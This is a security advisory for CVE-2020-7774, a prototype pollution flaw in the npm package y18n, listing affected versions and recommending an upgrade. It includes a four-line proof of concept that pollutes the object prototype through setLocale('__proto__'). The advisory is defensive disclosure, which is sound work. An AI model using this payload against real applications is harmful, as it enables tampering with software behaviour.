GHSA-c4w7-xm78-47vhHighCVSS 7.3

Prototype Pollution in y18n

Published
March 29, 2021
Last Modified
November 29, 2023

🔗 CVE IDs covered (1)

CVE-2020-7774 →

📋 Description

Overview

The npm package y18n before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution.

POC

const y18n = require('y18n')();

y18n.setLocale('__proto__');
y18n.updateLocale({polluted: true});

console.log(polluted); // true

Recommendation

Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

🎯 Affected products3

  • npm/y18n:< 3.2.2
  • npm/y18n:= 4.0.0
  • npm/y18n:>= 5.0.0, < 5.0.5

🔗 References (10)